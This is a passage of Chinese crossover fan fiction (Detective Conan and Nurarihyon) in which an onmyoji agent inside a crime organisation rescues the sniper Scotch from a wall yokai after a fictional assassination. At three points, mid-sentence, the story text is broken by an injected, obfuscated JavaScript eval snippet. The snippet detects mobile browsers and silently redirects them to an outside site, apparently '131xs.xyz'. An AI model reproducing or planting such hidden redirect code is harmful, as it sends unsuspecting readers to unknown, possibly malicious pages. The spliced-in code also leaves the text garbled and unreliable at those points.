花开院龙二觉得这个联想很有趣,但“可爱”一词冒出来的时候,内心又有种微妙的新奇感。他貌似很少真心实意用具有夸赞含义的词语描述别人。 黑发阴阳师挑眉,像以往那样笑着顶嘴:“你怎么跟幼稚园保育老师一样。” “要有人照顾你。”魔魅流否认,保持之前的姿势不动。 黑风衣展开后很宽敞,像一扇宽门拦在面前。花开院龙二莫名就觉得自己有种不穿外套就跑不掉的预感——真的很新奇。毕竟以往魔魅流很少处于拥有主动优势的位置。 “说什么照顾......”他后背离开树干,抢过外套披在身上,有点想笑:“都是二十二岁的成年人,谁照顾谁啊。” 花开院家好歹也是大家族,对小辈们的要求就是独立。他们两个十八岁高中毕业离开京都后多多少少独居过。甚至现如今还挤在一间不算大的公寓里,饭轮流做碗轮流洗。 今天之前两人也从来没说过“照顾”这种话。突然出现一个不同的描述相处的词语,有种突兀的陌生感。 “走了走了,回家。”花开院龙二随意地摆手,招呼人跟上。 魔魅流身高高一些,步伐也大。他两步追上,安静乖巧地凑在搭档身边当挂件。 晚上的天下茶屋真的很热闹。凌晨一点多,路边拉客的人往往已经干完一单。他们虚伪敷衍地赶走上一位客人,准备给接下来的人留位置。 脚步虚浮从昏暗室内爬出来的人大多不是醉汉和流浪者。因此,多种职业凑在一起,小巷里比以往还拥挤。 空气很不好闻,气体里还混了灰尘和其他大颗粒。花开院龙二皱起眉头,紧接着在臂弯里小声打了个喷嚏。 脚下木屐跨过一位顺着石台延伸出来的流浪汉。黑发青年一脸嫌弃,右手在口鼻前挥动,试图让空气快速换新。皱起的眉毛压着眼睛,让他表情看上去不怎么友好、甚至有些凶恶。 “真不愧是大阪,和京都完全不一样,”花开院龙二双手抱臂,语气略微有些嫌弃,“狂骨现在还守着京都二条城那片区域足不出户,完全不考虑大阪这个又大又混乱的地方。” “妖怪是这样,人类自己也差不多糟糕。这里的城市管理和市民素质都一塌糊涂,比东京人还要野蛮——” 他话语突然停顿。 “......魔魅流?” 被叫名字的人一愣,慢半拍回过神。 橘发青年和眼前人对上视线,微微歪头,像个永远认真听讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256588|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的好学生。 温驯呆板的神情、几乎无机质的双眼、僵硬的肌肉动作。是这几年来一直都很熟悉的模样没错。 但花开院龙二却觉得魔魅流此刻心情很好。他确定以自己对对方的熟悉程度,肉眼观察结果没有任何差异。说不出原因,只能把它归结为熟稔背后的直觉。 “在高兴什么?”花开院龙二不解地问。 “嗯?”魔魅流眨了眨眼睛。睫毛快速扑闪时,他的双眼看上去比往常灵动一些:“龙二能看出我在高兴吗。” “哈?说什么傻话。”花开院龙二抬起木屐,不怎么用力地踢了下搭档的马丁靴鞋尖,“很明显啊,笨蛋。” 他低低啧了一声:“所以你在高兴什么。” 魔魅流没说话,先低头看了眼自己靴子被碰触的地方。 上面有一个浅浅的痕迹,大阪昨天下过雨,地上还积着零散的小水洼。木屐齿压上水面时,水珠会溅起来沾在鞋底。掺了泥巴的液体就这样顺着龙二的木屐留在自己的马丁靴上。 “......笨蛋,回神。”龙二在喊他。 “我做错了,”魔魅流开口,小声说,“找来这里......不是命令。我擅自做了命令之外的事。” 花开院龙二:? 他挑了下眉毛,刻意顺着这句话问:“那你为什么要过来。又怎么知道我在这里的。” “找苏格兰打听。” “苏格兰话真多。” 魔魅流还在努力思考:“为什么要过来......总觉得,不和龙二一起走的话,和之前每天都不一样。” “有命令在我不应该来,但是我心里隐约觉得......现在这样,被龙二骂了也无所谓。” “你是抖M还是小学生啊。”花开院龙二没忍住笑出来。 “我猜猜。是不是像那种新学期开始后,发现自己和最好的朋友不在一起了,哭着闹着想转班?明明才分开一天,”他又打了个哈欠,“算了,看在刚才的事情上今天就原谅你。不过说实话,有人特意等的感觉也确实不错。” 魔魅流双眼微微睁大。 他一直是个嘴笨、大脑也转得不快的人。龙二的形容概括了百分之九十九原本梳理不清的情绪。余下的那百分之一他想不明白,只好暂时扫去思维角落。 说的人只是随口一提,但不影响一根筋的听者顺杆子爬。 “那我明天还可以来吗?接龙二回家。”魔魅流一脸无辜,完全没有知错就改的意思。 花开院龙二停下脚步,做了个深呼吸平复内心的吐槽欲。 太粘人了啊,这粘人程度是不是有点怪怪的。 但他回头对上搭档的视线时,又觉得提出请求的人完全没夹杂私心,只是顺着话题问了个无关紧要的提议。 肮脏店铺们的门口挂了些破旧的纸糊灯笼。已经快烧不起来的蜡烛还响着噼啪的杂音。四周一切都混乱糊涂,只有那双眼睛干净得让人起鸡皮疙瘩。 花开院龙二双手尴尬地有些无处安放,不自然地说:“倒是无所谓。不过我之后一段时间可能有点忙。” “龙二一直都很忙,”魔魅流贴心地点头,“有什么我能帮助的吗?” “不用,我会解决。等线索确定下来和你讲。” 被拒绝的人没露出其他表情,只是眼睛眨动了几下。 见他这样,黑发阴阳师又没脾气了。“不许胡思乱想,小幼稚鬼,”他半眯起眼睛,“你先确保自己能按时下班再说吧。琴酒说你们明晚有任务,是在哪里?” “难波。” “知道了。那边妖怪很多,有需要的话及时拔除。你也注意安全——那是什么表情。” 怎么突然又高兴起来了。难道他很少说这种关切的话吗。 明明不是的。所以说这几天的魔魅流真的很奇怪。 8. 搭档(八) 灰扑扑的高楼上,破了个洞的窗玻璃间伸出一支枪口。 这栋楼在附近算新建筑。外墙没怎么蜕皮,门窗也少有锈痕。它只不过是烂尾了,伫立在一众烂尾楼里。毫不起眼,但总归比它的同类们高出两三层。几十米外还有另一栋与它同高的楼。两位不算高挑的家伙一左一右守着这片区域,像两座穷酸的塔。 它们北侧是繁华热闹的中心街区。地面上人群摩肩接踵鱼龙混杂。高高耸立的几幢摩天楼顶层,西装革履的家伙们推杯换盏,热络程度不比下方差。 枪口稳定地架在窗框上,十字准星从一个人额头划到另一位胸口,百无聊赖地寻找下一位观察对象。 高挑的金发男人从瞄准镜中一晃而过。下一秒,通讯器中突然传出声音。 “莱伊。” 讲话的人语气不善,针锋相对里又掺杂了一些明晃晃的看热闹:“再在任务现场摸鱼,我就举报给琴酒。” “哦,”莱伊语调平淡地指正,“我只是在等你给出信号,波本。要加快进度的是你。” 没人理他。 波本早就掌握了对莱伊的话左耳进右耳出的技能。他穿着侍者制服,如鱼得水地在任务现场游走,只当那个长头发绿眼睛的家伙又在咿咿呀呀怪叫些不知道什么内容。 他视线划过现场所有面孔。目标、与目标有关联的人,保镖、隐藏的保镖。宴会厅边边角角还站了几位板正的人。他们大多是西装和方便活动的鞋子,即使在努力伪装悠闲,但不论是面部五官还是肌肉动作,都散发严肃的威慑力。 是大阪府警,他想,这伪装真是直白。 身侧突然有人呼唤服务生。波本端着得体的微笑回头,按照请求递出两杯香槟,并捻过喝空的杯子。 目标,四井寿和上田明泰,相谈甚欢意犹未尽。会场里该有的正事都结束了,还留下来的大多也是做做社交。几分钟后,两人决定换个地方继续聊这个生意。 波本眼看着对方和会场总管沟通,总管环视一周后又看准自己、快步上前。毕竟相貌出众又能力优秀的侍应生总会在这种时候被派作代表去撑场子。 这种任务波本做了很多次,之后的流程也烂熟于心。无非是创造机会让目标离开宴会现场,进入一个相对隐蔽的窗边空间。他有两位狙击手同伴,各自蹲守一个位点。通讯频道一下令,两声枪响。 Bang。 这群犯罪分子只管杀人和完成任务。两个企业的后续、对社会安全及经济领域的影响,完全不在考虑范围内。 听话做事,或者桀骜不驯一点认为是拿钱办事。总之,只管动手不管后续。管杀不管埋。也不知何处来的胆子让他们肆无忌惮地蔑视生命。没经历过死亡,却对神秘又刺激的概念趋之若鹜。 他和苏格兰向来对这种愚蠢的想法嗤之以鼻。但微妙的地方在于,莱伊偶尔也会流露出类似的鄙夷与漠然。 波本微微敛下上眼睑,踩着今天两位目标的脚印,顺着赤红地毯上楼。大阪府警们见此次的保护目标们要转移位置,也派了几位人手隐蔽地跟上。 鱼肉在前,捕鱼人在中,管理者在最后。渔场外,还有两位恶徒虎视眈眈。 两位企业家对会场主管的嘱咐是希望服务生送些点心上来,以及几瓶酒。波本在餐车上放置物品时,借助角度和动作遮挡,轻轻敲了下耳边的通讯。 另一侧大楼外,莱伊挑了下眉毛:“要开始了?” “17楼,东侧走廊从尽头向内数第四个窗户,”波本说,“两个人都在。” “好。” 同一时刻,另一道温和的男声也在通讯中响起。 与莱伊所在的塔相对,区域内第二栋较高建筑的顶楼也有他们的狙击手同伴。苏格兰微微叹气,按照指示,将不详的十字线对准描述中的窗户。 窗帘仍然是密闭状态。不到十分钟,酒店工作人员就会轻轻敲门,创造意外、或找一些光明正大的机会,让两位目标企业家暴露在日光下。 “大阪府警的部署情况怎么样,有变化吗?”莱伊问。 “四个人跟我上楼。看上去是两个新人和两位老手的搭配。我走之后,下面会场、还有外面的情况就不清楚了。”波本回答。 他说话时,隐蔽地看了眼身后。 准备间门口已经陆续响起人员交谈的声音。金发侍应生直起身,恢复伪装完美的微笑,对路过的其他人点头致意。 关于大阪府警的话还没说完,但时间限制不允许他再开口。这段沉默意味着交接,毕竟他们还有位同事也频道里,余下汇报是对方的部分。 今天任务中负责监控场外情况的是阿玛尼亚克。这寡言的家伙之前简短描述过外面的情况。现在工作进入核心阶段,所有人必须再次确认一切细节都不会出现纰漏。 两位狙击手同样安静下来等待同伴报告。 还不太熟悉的音色很快在通讯频道中响起。只是同伴刚开口,苏格兰耳机里突然传出沙沙的杂音。不刺耳,但时机十分异常。 他对通讯设备经历不同故障时会出现的情况不太了解,但根据卧底时期的经验,初步判断是周边有电磁干扰装置影响了几人之间的通讯。 电磁干扰装置。 不论是什么人、什么时间、出于什么目的放置在周围的,总归是需要紧急处理的情况。 沙沙声只持续了很短时间,但足够苏格兰确认它不是幻听。他微微皱眉,试探性地在频道里呼唤距离最近、可能同样会受影响的莱伊。 “信号干扰?”莱伊的说话声在杂音掩盖下很模糊,“我这里没有问题。” “看来只有我,”苏格兰说,“我会注意的。” 他做了个深呼吸,增强握枪的力度,紧紧注视瞄准镜的同时又分出一丝注意力在周遭。 耳机里又沙沙响了几声,苏格兰再次听到阿玛尼亚克的声音。对方刚开口说出第一个字,后面内容立刻被电流干扰掉。他正想询问,不远处一直拦截视野的窗帘唰地抖开。 晚宴开始于下午六点。名贵们的社交持续到现在大约七点半的时间。夏天的大阪天黑很晚。烈阳炙烤的城市不存在虚幻的蓝调时刻。所有灿金又昏黄的光正在爬上建筑,切割开那扇窗帘。 玻璃背后,金发服务生面带笑意替屋主人们打开视野,鞠躬退下。设备控制下的布料好像斗牛士的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256589|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗篷。颜色格外刺目,又让人能嗅到刺鼻的血腥味。 苏格兰屏息凝神,依据瞄准镜中波本的隐晦暗号,对四井寿胸口偏上的位置扣下扳机。 从南侧建筑群里飞出的子弹还有另一枚。击穿玻璃,扎进上田明泰要害。波本像个普通侍应生那样表现出呆滞、惊恐、慌乱中强作镇定的神色,配合冲进来的大阪府警警员维持现场。 以往到这一步时,狙击手们的任务就结束了。 莱伊总是干脆利落扛起枪就撤退。苏格兰会多在原地停留一两秒,透过瞄准镜观察现场、行动的警察、以及受害人。如果波本也在对面,他会再辨认下对方是否有新的暗号,从而及时做出应对。这是苏格兰一直以来的习惯。 波本往往没有那么多话可说。但今天,他一反常态地有些焦急。这情绪放在现场人员中毫无异常。可苏格兰看得到,好友面色不对的同时一直在找机会碰触耳边的通讯,视线时常向他、或者说现在这个狙击点的方向飘。 没由来地,苏格兰心跳异常大声。 不好的预感渐渐爬上心口。他活动了一下贴在狙击枪上的手指,闭目感受周身所处的环境。 没有陌生的脚步声,也没有任何会引起注意的光亮。 但空荡荡的无人建筑里,湿度好像比几分钟前更高,闷得他呼吸有些困难。水蒸气被降低的温度一吹攀附上后背,一点一点扎进脊椎的骨头。 潮湿又窒息的感觉让苏格兰觉得自己像卧在暴雨天漏水的仓库里,动不了,只能看着地面的积水慢慢没过身体,水面平齐、又最终上涨盖过口鼻,阻断一切氧气。 水雾擦过的皮肤也隐约有些疼痛。仿佛它们并不是纯净的水,或者其中飘着透明的小型生物,啮咬开衣物扎进皮肤、向人类身体内钻。 苏格兰抬起手敲了敲耳边的通讯。做出这个动作时手臂比以往沉重很多,幸好还处于能控制的范围。 他呼唤莱伊的代号,无人响应。 他又呼唤波本,但狙击镜里的金发青年仿佛没接收到通讯信号,还在频繁注意这边。 苏格兰深呼吸,呼唤此时可能离自己最近的阿玛尼亚克——毕竟在他失去联络前,最后听到的是这位同事的声音。 还是无人响应。 不知从何时起,熟悉的电流声渐渐增大。从人类听觉无法注意的音量渐渐攀升,变成不容忽视的刺耳。只是潮湿带来的窒息更加明显,苏格兰一时间忽略了这个温水煮青蛙一般的异常。他头皮发麻,从潜伏姿势起身,将枪提在手里后退靠近窗口。 这个房间还是毛坯,没有门。冷气从门口的地上渗出,掺进黑暗凝成实质,蔓延上墙壁和地面,并渐渐向窗口奔来。窗外比狙击时更暗了一些,晚霞有些偏黄,像发生沙尘暴一样。 猫眼狙击手额头渗出冷汗,空出来的右手掌轻轻放在心脏位置。它跳动的频率没有明显加快,但心脏主人总觉得,那里像是有什么其他存在,正在向各个器官发出信号。 他应该听不懂的。可颅骨内那颗大脑毫无道理地解读出“它”想要传达的信息。 我们倒霉被捉住了。 何况现在是更危险的逢魔时刻。 9. 搭档(九) 志怪传说中,黄昏时段妖怪与人能够共同存在。并且此刻前者的力量受到加强、能对人类世产生更危险的影响。这一时刻被称为逢魔之时。 ——这是苏格兰自孩童时期就从各种文学作品中听过很多次的词语。 他之前是不相信这些的。但是认知里的一切都在昨天下午见到阿马尼亚克后被打破了。 起初是那股“示警”一般的隐秘慌张感,随后是什么生物在他肩头乱跑压出来的动静。再然后,是他仍然找不到解释的、和阿玛尼亚克之间微妙的“信号接洽”,或者“心电感应”。 然后是现今,或者说从方才通讯系统出问题的时刻开始。 按照影视文学作品里的讲述,妖怪或各种超自然现象的入侵必然伴随磁场改变。也就是说他被拉进了敌人的领域,并且对方出手阻隔他这个猎物与援军之间的沟通。 思路走到这里,苏格兰又有些头大。 他觉得自己一定是哪根筋搭错了,怎么就能在一天之内,从坚定的科学信徒,变成能接受超自然力量存在、还积极主动分析它们行为的人。 但貌似不接受也不行。如果还执拗地认为眼前一切都是幻觉,大概会死在幻觉里。 墙壁上的深色液体还在起伏。苏格兰放轻呼吸,看着涟漪起伏之间有几处陷下去,细长扭曲的黑手骤然拔地而起,扭着身体扑过来。 他端起武器,试探性开了几发子弹。 与预想中相同。金属弹头像幽灵穿墙那样直挺挺从黑手臂中传过去。两方在同一位置交汇、却并不在同一空间内发生交集。 最快的那只黑手不停翻腾,眨眼就快抓上男人的裤脚。苏格兰猛地退后抵上空荡荡的窗框,用狙击枪挡在身前。 枪管被敌人拉住,黑手顺着同样漆黑的金属向上爬,过程中一路留下液体痕迹。泥水擦过枪体,将枪管腐蚀出大大小小的窟窿,排布密集的样子看着有些恶心。 黑手快接触到手臂时,苏格兰做了个快速深呼吸将枪狠狠投掷出去。缠在狙击枪上的几只手臂连带着被甩远,但其余部分毫无卡顿地继续冲向前。 尖利的猫叫声突然响起,险些刺穿青年的耳膜。有一条看不见的鞭子以他的身体为起点、狠狠甩出去打散几只黑手,让他能短暂挣脱。苏格兰刚喘上气,下一秒大脑被焦躁又惊慌的意念挤满: 从窗户里跳出去! 现在! 狙击点所在的位置是十八层,是一个有点不详的数字。这栋楼总高十九层,顶楼和天台目标太大,选倒数第二层是他和莱伊一直以来的默契。现在,苏格兰的身体离地面将近六十米,而前方能作为落地点的建筑与他高度差也有三十多米。 他不是那种看到高台就想跳的小学生,也不是随时抱着寻死念头的人。他没有第二条命去挑战十几倍身高的自由落体运动——但眼下没有其他办法。 “别为难我啊,小家伙,”他一边抬腿跨上窗台、一边笑着自言自语,“你让我跳,是有办法让我安全落地吗。” 算了,可能他确实是什么小学生。在这种性命攸关的时刻竟然还抱着无厘头的想法与身体里疑似神魂的存在沟通——应该是猫吧,毕竟小家伙叫起来的声音听着像。 希望它不是自己作为公安搜查官在犯罪组织卧底时间太长、精神压力过大产生的幻觉。 那一鞭子像是抽到黑手的应激部位。苏格兰迟钝的这几秒,其余几只黑手留在原地抖了抖,再次开始拔高。 浸湿的黑色青苔从地面水洼里冒出,青苔下是软质类似泥浆的墙壁。墙壁脑袋的位置有两颗巨大的霉斑。如果那是眼睛,此刻妖怪就是在直勾勾地盯着窗口的人类。它甩了甩几只臂膀,朝苏格兰猛地挥过来—— 跳吧! 猫眼青年内心一定,脚一蹬窗框,朝前方稍矮建筑的屋顶扑。 夏风呼啸着剌过脸颊,吹得他睁不开眼。他以为自己还有多余的思维在半空中调整姿势,但快速运动的视野让大脑开始晕眩。 藏在身体里的存在再次呐喊。苏格兰突然觉得一股冲突的力度从下方攀升,包覆他的双脚,让它们平稳结实地踩上地面。 下坠三秒,安全落地。 不可思议的事实。 他向前翻滚卸力,抬起头观察那个黑窗里的妖怪,确认追逐方的情况。 他原以为依附墙壁而生的生物只会盘踞在阴湿无光的地方。但或许是逢魔时刻有环境加持,那妖怪比想象中难缠。黑手像藤蔓一样顺墙奔下来。两栋楼距离很近,手臂互相交叠,快速攀着同伴扑到另一边。 跳跃带来的时间差足够苏格兰拉开距离准备逃跑、并快速评估当前的状况。目前看来,有墙壁或者墙壁相贴的区域全部都很危险。不能走天台楼梯,那么只能再跳—— 破旧生锈的天台门发出巨响,随后整个门板摇摇欲坠,花了几秒从门框上掉下来,砸在地上。 苏格兰被这动静吓了一跳,快速转身。下一秒,他和另一位人类对上视线。 黑风衣,身形高挑,橘色头发金色眼睛。耳边还挂着他们任务里用的通讯器。是阿玛尼亚克。 几个可能的解释在苏格兰脑海内冲击:或许是断联前对方已经想找过来,又或者同样作为与神鬼之力有关的人、阿玛尼亚克也被妖怪的异常吸引到这里。有帮手会让局面没那么难——但是苏格兰目前还不知道这位援军能力如何。 “先跑,先拉开距离!”他着急地劝,“找个安全地方我跟你讲讲敌人的情况,然后再说其他事!” 他说话时妖怪已经完成转移,这处顶楼同样异化成原本高塔倒数第二层的样子。地面下陷,陆续有水波一样的涟漪蔓开。妖怪本体渐渐下沉,只留几只甩着泥浆的手臂在空中挥舞,其中一只飞速向猎物刺过来。 苏格兰顾不上两人本质还是对立立场,上前想要推着突然闯入的家伙暂躲起来。只不过阿玛尼亚克还是那副慢吞吞面无表情的样子,像什么都没听懂,跨步上前拦在他和妖怪之间。 橘发青年站定,从风衣内袋里取出张像是符咒的纸贴在手心。最快的黑手袭来时,他看准手腕部分猛地抓紧。 下一瞬间,漫天电光在空中炸开。 昏暗的天空被雷电穿透,所有黑色腐蚀液所在的位置都有火光爆起。阿玛尼亚克后背挺直站在原地,雷电以他手中符咒为起点螺旋型靠近敌人。其中一些节点隐隐结成更复杂的咒文,又在快速爆炸中散开。 受妖怪影响空气中湿度比以往更大。或许是导电作用,苏格兰觉得暴露在外的皮肤也隐隐有些痛。 密不透风的攻击对妖怪效果格外明显。被压制后,它身体接触雷电的部位全部灰飞烟灭。几丝电光顺着黑手根部扎进水洼,在大约地面与空气交界的位置,将妖怪暴露在地表的部分炸断。 烟尘散尽,一块长满青苔的石板直直插在地砖里。石板上的植物过了遍电,变成风一吹就散的齑粉。那大约是袭击者的原本面目。 看上去危机消退了。 很快,也很简单。他的帮手实力很强。 苏格兰卡在胸腔的一口气终于呼出来。 他全身肌肉刚准备放松,胃部突然被手臂冲击。狙击手睁眼的下一息就发现天旋地转,原本站立的楼越来越小。新同事用扛麻袋的姿势带着他一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256590|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下跳过房顶,落在某个巷子出口。 “......慢点。” 麻袋忍着晕眩小声提醒:“你力气太大了。”他胃好疼。 抗人的家伙把人放下,用手拍了拍对方的后背,大概是想做一个顺气的动作。对方也确实压着力道,但苏格兰总觉得手掌拍击时有些心虚。 “抱歉,”魔魅流说,“要快点带你离开那里。” 苏格兰一顿,抬头看他:“妖怪不是......已经被消灭了吗?” 魔魅流:“嗯。” 苏格兰:“那我们为什么要跑这么快。” 魔魅流歪头,点了点耳边的通讯器,解释:“波本应该会很着急。” 啊,波本。 苏格兰深吸一口气,手指按了按眉心。 是了,任务中途突然与其余几人断联,表面看上去确实蛮吓人的。 波本原本就是个谨慎的性子。更何况同样作为公安在犯罪组织的卧底,他不可避免会将事情往坏处想。 两个狙击点位所在的区域不算安全,但莱伊好端端的,只有苏格兰出了问题。一种可能是被卷进当地帮派的麻烦事了。但是到底该有多倒霉,才能在二选一里不幸成为目标。如果是波本,大概会觉得这是另一人特意设下的陷阱。 第二种可能就是,苏格兰的卧底任务出了问题——比如他因为身份异常被组织的人设局围剿。 波本,或者说同为公安卧底的降谷零,最怕这个。 ......让zero担心了啊。 苏格兰叹气,心底闷闷的有些重。设身处地想想,如果遇到今天这种袭击的是zero,他同样会急切地寻找一切可以帮忙的人,包括身边的犯罪分子。 只不过以zero的性格,不会慌张到情绪外露地程度。那可是常年将社交笑容固定在脸上的神秘主义者波本,并且卧底的职业素养也不允许他被观察出真实想法......但阿玛尼亚克明确用了“应该会着急”这个说法。 “所以我出事后,波本立刻联系了你?”苏格兰努力平复心情,假装自己只是好奇询问。他试图开玩笑偏开重点:“不会是要给我定罪成‘工作中分心’、或者‘临阵逃脱’吧。” “没有,”魔魅流摇头,“我只是觉得,如果是我......我会很着急。” 如果是他的搭档突然失联,即使本身情绪淡得多,他还是觉得自己会比波本更冲动更应激。就像昨天看到琴酒掏出手枪...... 不对。 魔魅流微微张开嘴,轻轻吸了口气。他的神经思维之前有这么容易波动吗。 毫无表情的五官很好地遮掩橘发青年内心所有胡思乱想。他盯着苏格兰轻轻弯起的嘴角,用一如既往死水一般的语调说:“你好像很在意波本。”有点像他自己在意龙二。 苏格兰一顿。 他下意识想抬起右手触摸面部肌肉,但神志归拢后很快压下动作。那一刹那他担心自己方才也在对话里暴露了些许真实情绪,可快速复盘检查后又不这么认为。 “嗯?我只是怕他认为,我在工作中出现了严重失误,”猫眼青年弯起嘴角,脸上挂着轻松的笑意,“毕竟还是同一小组的搭档,出现紧急的会干扰任务的意外,及时汇报才是应该的做法。” 他抬脚向会场方向走了几步拉开距离,又转身面色不变地看着阿玛尼亚克。 “别说我啦,”苏格兰果断转移矛头,“我们说说刚才那个......呃,妖怪?那到底是什么,为什么会缠上我。以及——” “那个符咒很好用哦。是别人送的,还是自己写的?” 10. 搭档(十) 神神鬼鬼的事往往意味事情相关者有秘密。或者说,有异于常人的特质。 虽然昨天刚见面时阿玛尼亚克明目张胆做了些怪动作,但那时的苏格兰不清楚对方的性格。更何况伏特加也在场,他只能装作不在意、把所有异常行为看作是新同事我行我素的性格使然。 即使意识到了那些异常点,在完成初步评估、确认尚未到构成危险的程度后,一步步谨慎探查才是最理智的策略。 ——这是他之前的想法。 只是意外来得很突然。逃亡经历过了,妖怪见过了,反科学的自由落体也做了,自己还被那个神奇的符咒救了一命。再说新同事是普通人,苏格兰觉得可以考虑立刻躺回床上睡一觉,看看是不是还在梦里没醒。 他问话时面上伪装得毫无威胁,但视线紧紧钉在眼前人身上。即使嘴角微微弯起到一个礼貌温和的弧度,话语里仍然有不少审问的意思在。 只是魔魅流一如既往对所有“外人”的问题无动于衷。 太阳落山后的巷子很昏暗,那双金色的眼睛却仍然亮着光。就像藏在草丛后双目发光的野兽直直锁定目标,但纹丝不动、一言不发,甚至游刃有余。 苏格兰顺着这倒视线追寻,发现焦点尽头是自己的肩膀。 准确来说是右颈侧。 这个位置很熟悉。昨天下午伏特加将人带来时,新同事同样特别关注了这个位置。方才在高楼上经历一番生死逃亡,再加上这几次关于猫的讨论,他已经能想象出此刻蹲在右肩上的生物。 是一只会催促他跳窗的......大概是猫科动物吧。或许是因为对方处于灵体状态,所以完全看不见爱你。毕竟被妖怪包围时他都能看到妖怪的身影。不过也不排除是后者攀附于现实物体的缘故。 “我以为它会告诉你,”魔魅流说,“你们看上去很亲近。” “亲近?”苏格兰挑眉,“所以你一直知道它的存在。初见面时也是在抓它的尾巴。” “配合得很好的意思。”橘发青年只回答了第一个问题。 苏格兰不知道自己的跑酷动作有没有被阿玛尼亚克看到——大概率看到了,不然他想不到哪里还能用上“配合”这个词。如果说在此之前还有端倪,就是初见的时候妖怪小猫让他离新同事远些。他没照做,不过态度确实比以往伪装出来的要冷淡一丁点——虽然他十分、十分确定自己当时没流露出敌意。 “虽然会暴露信息,但我觉得现在还是解释一下比较好。”猫眼狙击手抬起手臂,张开五指放在脑袋两侧,做出投降动作,“我不知道它的存在。无法沟通,也没有从它那里获取任何超能力。” “我不清楚你对它的立场判定是什么,只是隐约觉得你们有敌对倾向。不过如果可以的话,还请不要将我划分到‘通敌’那一侧,尊敬的......我该用什么职业称呼你?” 苏格兰视线暗示一般投向魔魅流先前贴符咒的手:“猎魔人?除妖师?” “啊,在日本的话,应该称呼为‘阴阳师’对吧。你和演员野村万斋先生在电影中饰演的形象不太一样,但那个符咒看上去差不多。” 魔魅流听到“野村万斋”四个字,微微抿了下嘴唇,仿佛想起什么趣事,以几乎无法察觉的弧度弯了下眼睛和嘴角。很快,所有五官回归原位,清秀的相貌又变成呆板木然的神情。变化是眨眼间发生的,快得像错觉。 “......所以,我并不知道刚才那只妖怪的事,以及除妖相关的问题,”苏格兰眯起眼睛提醒对方,“不好意思,可以解释一下吗?” “是‘蚀苔’,涂壁鬼的一种。容易诞生于过度潮湿又死过人的区域。” “那符咒呢?” “......” 魔魅流闭上嘴,继续像昨天那样装聋作哑、逃避讨论自己身上神神鬼鬼的行为。 他不说话,苏格兰也在等回答。两人就这么僵持,任由小巷短暂安静下来。 周边区域规划得十分杂乱。低矮的木屋在地面上层层叠叠胡乱穿插,将街道挤成巷子,又挤成更逼仄的小道。 以往这个时间,一众灰色店铺早已开始营业。但他们今日一反常态,像收到什么消息、提前躲瘟疫那样,灯笼里的蜡烛没有点燃,卷帘门僵硬卡在昨晚的位置。 路上没有活人穿梭,只有乌鸦扑来扑去。潮湿阴暗的环境让片区像是人类看不上的废墟。空气湿度很大,严密封上生物的口鼻和五感,类似一片浑浊的液体裹进保鲜膜。如果此时有光打进来,就会在散射作用下束成细长一条,仿佛木签扎破水袋。 沉默延续到一分钟时确实被手电筒打破。 光带先晃过魔魅流的五官,快速融进那双金色的眼瞳又离开。随后映上苏格兰的后脑,将黑色碎发照得微微泛棕。 被打扰的两人顺着光看过去,与手电筒后的波本对上视线。 金发情报员的眉心紧紧团在一处,上下齿咬合的力度也很强,整个人看上去马上要发脾气了。 “还活着呢啊,你们两个。” 他语气极差:“苏格兰,目标一确认死亡就立刻失联,不汇报周边情况也不参与任务后总结。阿玛尼亚克,擅离职守跑去狙击点位,还是先跑了再跟我说的。” “都不回传讯拿着通讯设备跟摆设一样,还是说莱伊给你们一人一枪把耳朵打聋了?他怎么不再打准一点。” 他说话时没关手电筒,光束挑衅一般刺激苏格兰和阿玛尼亚克的视觉。波本今天还因为工作需要穿了双硬底皮鞋,走路时鞋跟刻意敲上积水的青石,像不爽的警告。 魔魅流抬起手臂微微遮挡强光。他眼睛微微眯起,瞳孔在睫毛阴影下内缩,变到能适应光源的大小。 波本啧了一声,关掉手电。 “怎么回事。”他问。 问题是对着橘发高个子同事发出的。但魔魅流眨了眨眼睛,将视线投向苏格兰。 两边注意力莫名奇妙全压在自己身上。苏格兰微微睁大眼,装出一副无辜表情。 “通讯坏了,”他找了个理由糊弄,不知道在糊弄谁,“开枪前我有和莱伊提过这件事,看来他也没汇报。” “之后阿玛尼亚克来找我,但是那栋楼的建筑结构出了点问题。我们离开的时候耽搁了一点时间。” “就这样?”波本皱眉,“没遇到其他人?” 苏格兰面不改色地点头。 他现在终于捋清了同伴们那边的情况。大概是阿玛尼亚克顺着妖怪找到自己,随后才跟波本报备。或许还留下一句“苏格兰出事了”就不管不顾跑开,等zero干着急。 ......他好像理解zero阴阳怪气的原因了。 